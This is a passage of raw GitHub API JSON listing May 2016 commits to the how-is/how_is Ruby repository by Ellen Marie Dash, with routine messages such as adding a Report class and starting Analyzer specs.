ttps://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f91b953c7ff7f28f4194d2d6611f369936e145b9","url":"https://api.github.com/repos/how-is/how_is/commits/f91b953c7ff7f28f4194d2d6611f369936e145b9","html_url":"https://github.com/how-is/how_is/commit/f91b953c7ff7f28f4194d2d6611f369936e145b9"}]},{"sha":"f91b953c7ff7f28f4194d2d6611f369936e145b9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjkxYjk1M2M3ZmY3ZjI4ZjQxOTRkMmQ2NjExZjM2OTkzNmUxNDViOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:12:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:12:17Z"},"message":"Beginning of specs for Analyzer.","tree":{"sha":"b03a0e194952efed5f0b54b7c193c7148d4393da","url":"https://api.github.com/repos/how-is/how_is/git/trees/b03a0e194952efed5f0b54b7c193c7148d4393da"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f91b953c7ff7f28f4194d2d6611f369936e145b9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f91b953c7ff7f28f4194d2d6611f369936e145b9","html_url":"https://github.com/how-is/how_is/commit/f91b953c7ff7f28f4194d2d6611f369936e145b9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f91b953c7ff7f28f4194d2d6611f369936e145b9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"55a9d38d326fbba603e8a0e0f30e96d9cba87839","url":"https://api.github.com/repos/how-is/how_is/commits/55a9d38d326fbba603e8a0e0f30e96d9cba87839","html_url":"https://github.com/how-is/how_is/commit/55a9d38d326fbba603e8a0e0f30e96d9cba87839"}]},{"sha":"55a9d38d326fbba603e8a0e0f30e96d9cba87839","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTVhOWQzOGQzMjZmYmJhNjAzZThhMGUwZjMwZTk2ZDljYmE4NzgzOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:12:04Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:12:04Z"},"message":"Rename oldest_date_for to oldest_age_for.","tree":{"sha":"efb2ca2b310c6234aed5e43c01891a183934dc75","url":"https://api.github.com/repos/how-is/how_is/git/trees/efb2ca2b310c6234aed5e43c01891a183934dc75"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/55a9d38d326fbba603e8a0e0f30e96d9cba87839","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/55a9d38d326fbba603e8a0e0f30e96d9cba87839","html_url":"https://github.com/how-is/how_is/commit/55a9d38d326fbba603e8a0e0f30e96d9cba87839","comments_url":"https://api.github.com/repos/how-is/how_is/commits/55a9d38d326fbba603e8a0e0f30e96d9cba87839/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"60dfc2958e4ce0e3bc195114ff378cfae2e29c66","url":"https://api.github.com/repos/how-is/how_is/commits/60dfc2958e4ce0e3bc195114ff378cfae2e29c66","html_url":"https://github.com/how-is/how_is/commit/60dfc2958e4ce0e3bc195114ff378cfae2e29c66"}]},{"sha":"60dfc2958e4ce0e3bc195114ff378cfae2e29c66","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjBkZmMyOTU4ZTRjZTBlM2JjMTk1MTE0ZmYzNzhjZmFlMmUyOWM2Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:03:42Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:03:42Z"},"message":"Comment cleanup.","tree":{"sha":"b849f82f7fb928d524e942a01b035de4f8e0a84a","url":"https://api.github.com/repos/how-is/how_is/git/trees/b849f82f7fb928d524e942a01b035de4f8e0a84a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/60dfc2958e4ce0e3bc195114ff378cfae2e29c66","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/60dfc2958e4ce0e3bc195114ff378cfae2e29c66","html_url":"https://github.com/how-is/how_is/commit/60dfc2958e4ce0e3bc195114ff378cfae2e29c66","comments_url":"https://api.github.com/repos/how-is/how_is/commits/60dfc2958e4ce0e3bc195114ff378cfae2e29c66/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9","url":"https://api.github.com/repos/how-is/how_is/commits/b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9","html_url":"https://github.com/how-is/how_is/commit/b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9"}]},{"sha":"b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjhmZTBiOThjMmUzZGEzZTZlODM3YzUxZmE3MmEyNmJmMjk0ODlkOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:50:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:50:15Z"},"message":"Define variables needed for Analyzer specs.","tree":{"sha":"706f5ace30f7e51c87bae37a1f3f3194a6b4bd29","url":"https://api.github.com/repos/how-is/how_is/git/trees/706f5ace30f7e51c87bae37a1f3f3194a6b4bd29"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9","html_url":"https://github.com/how-is/how_is/commit/b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b8fe0b98c2e3da3e6e837c51fa72a26bf29489d9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d82fba9c21393633b3087b7beab2bd0d4d9dc0c9","url":"https://api.github.com/repos/how-is/how_is/commits/d82fba9c21393633b3087b7beab2bd0d4d9dc0c9","html_url":"https://github.com/how-is/how_is/commit/d82fba9c21393633b3087b7beab2bd0d4d9dc0c9"}]},{"sha":"d82fba9c21393633b3087b7beab2bd0d4d9dc0c9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDgyZmJhOWMyMTM5MzYzM2IzMDg3YjdiZWFiMmJkMGQ0ZDlkYzBjOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:48:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:48:14Z"},"message":"Flesh out Analysis slightly.","tree":{"sha":"a220126480dbe2815f00f2ce68eb00cef259d4b9","url":"https://api.github.com/repos/how-is/how_is/git/trees/a220126480dbe2815f00f2ce68eb00cef259d4b9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d82fba9c21393633b3087b7beab2bd0d4d9dc0c9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d82fba9c21393633b3087b7beab2bd0d4d9dc0c9","html_url":"https://github.com/how-is/how_is/commit/d82fba9c21393633b3087b7beab2bd0d4d9dc0c9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d82fba9c21393633b3087b7beab2bd0d4d9dc0c9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6449c7796c95386e8c6a229b7d929656db7f400c","url":"https://api.github.com/repos/how-is/how_is/commits/6449c7796c95386e8c6a229b7d929656db7f400c","html_url":"https://github.com/how-is/how_is/commit/6449c7796c95386e8c6a229b7d929656db7f400c"}]},{"sha":"6449c7796c95386e8c6a229b7d929656db7f400c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjQ0OWM3Nzk2Yzk1Mzg2ZThjNmEyMjliN2Q5Mjk2NTZkYjdmNDAwYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:37:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:37:02Z"},"message":"... make contract more lax.","tree":{"sha":"da5496f0b89d153d4e83e45d63a0c28e4ae9bb4c","url":"https://api.github.com/repos/how-is/how_is/git/trees/da5496f0b89d153d4e83e45d63a0c28e4ae9bb4c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6449c7796c95386e8c6a229b7d929656db7f400c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6449c7796c95386e8c6a229b7d929656db7f400c","html_url":"https://github.com/how-is/how_is/commit/6449c7796c95386e8c6a229b7d929656db7f400c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6449c7796c95386e8c6a229b7d929656db7f400c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0f7c10c41343bc84856e6a134c5a43a5829bd4b1","url":"https://api.github.com/repos/how-is/how_is/commits/0f7c10c41343bc84856e6a134c5a43a5829bd4b1","html_url":"https://github.com/how-is/how_is/commit/0f7c10c41343bc84856e6a134c5a43a5829bd4b1"}]},{"sha":"0f7c10c41343bc84856e6a134c5a43a5829bd4b1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGY3YzEwYzQxMzQzYmM4NDg1NmU2YTEzNGM1YTQzYTU4MjliZDRiMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:35:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:35:19Z"},"message":"Add Report class.","tree":{"sha":"0351dd59b03dc45ce31b7424dac5da3c945f3457","url":"https://api.github.com/repos/how-is/how_is/git/trees/0351dd59b03dc45ce31b7424dac5da3c945f3457"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0f7c10c41343bc84856e6a134c5a43a5829bd4b1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0f7c10c41343bc84856e6a134c5a43a5829bd4b1","html_url":"https://github.com/how-is/how_is/commit/0f7c10c41343bc84856e6a134c5a43a5829bd4b1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0f7c10c41343bc84856e6a134c5a43a5829bd4b1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"76d58098c6cb2dc778ff9593f8c04e8f0999be31","url":"https://api.github.com/repos/how-is/how_is/commits/76d58098c6cb2dc778ff9593f8c04e8f0999be31","html_url":"https://github.com/how-is/how_is/commit/76d58098c6cb2dc778ff9593f8c04e8f0999be31"}]},{"sha":"76d58098c6cb2dc778ff9593f8c04e8f0999be31","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzZkNTgwOThjNmNiMmRjNzc4ZmY5NTkzZjhjMDRlOGYwOTk5YmUzMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:29:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:29:53Z"},"message":"Comments.","tree":{"sha":"f355721accef4c80af14f28b4cdf88d47f19b5bf","url":"https://api.github.com/repos/how-is/how_is/git/trees/f355721accef4c80af14f28b4cdf88d47f19b5bf"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/76d58098c6cb2dc778ff9593f8c04e8f0999be31","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/76d58098c6cb2dc778ff9593f8c04e8f0999be31","html_url":"https://github.com/how-is/how_is/commit/76d58098c6cb2dc778ff9593f8c04e8f0999be31","comments_url":"https://api.github.com/repos/how-is/how_is/commits/76d58098c6cb2dc778ff9593f8c04e8f0999be31/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9c4f9100067dcae3ec3b1af160f479dc8759aae","url":"https://api.github.com/repos/how-is/how_is/commits/c9c4f9100067dcae3ec3b1af160f479dc8759aae","html_url":"https://github.com/how-is/how_is/commit/c9c4f9100067dcae3ec3b1af160f479dc8759aae"}]},{"sha":"c9c4f9100067dcae3ec3b1af160f479dc8759aae","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzljNGY5MTAwMDY3ZGNhZTNlYzNiMWFmMTYwZjQ3OWRjODc1OWFhZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:19:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:19:58Z"},"message":"Fix alignment of code.","tree":{"sha":"82362ad88a1dee7376cdbfcbc019eb9573eb0880","url":"https://api.github.com/repos/how-is/how_is/git/trees/82362ad88a1dee7376cdbfcbc019eb9573eb0880"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c9c4f9100067dcae3ec3b1af160f479dc8759aae","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c9c4f9100067dcae3ec3b1af160f479dc8759aae","html_url":"https://github.com/how-is/how_is/commit/c9c4f9100067dcae3ec3b1af160f479dc8759aae","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c9c4f9100067dcae3ec3b1af160f479dc8759aae/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"60b8df4c05457e1bdec5f841175cc41acff95634","url":"https://api.github.com/repos/how-is/how_is/commits/60b8df4c05457e1bdec5f841175cc41acff95634","html_url":"https://github.com/how-is/how_is/commit/60b8df4c05457e1bdec5f841175cc41acff95634"}]},{"sha":"60b8df4c05457e1bdec5f841175cc41acff95634","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjBiOGRmNGMwNTQ1N2UxYmRlYzVmODQxMTc1Y2M0MWFjZmY5NTYzNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:09:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T08:09:37Z"},"message":"Use consistent quotations for require() arguments.","tree":{"sha":"65ccce1e5d225d30a5dbaf86611c3b40f9bfa69f","url":"https://api.github.com/repos/how-is/how_is/git/trees/65ccce1e5d225d30a5dbaf86611c3b40f9bfa69f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/60b8df4c05457e1bdec5f841175cc41acff95634","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/60b8df4c05457e1bdec5f841175cc41acff95634","html_url":"https://github.com/how-is/how_is/commit/60b8df4c05457e1bdec5f841175cc41acff95634","comments_url":"https://api.github.com/repos/how-is/how_is/commits/60b8df4c05457e1bdec5f841175cc41acff95634/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://ap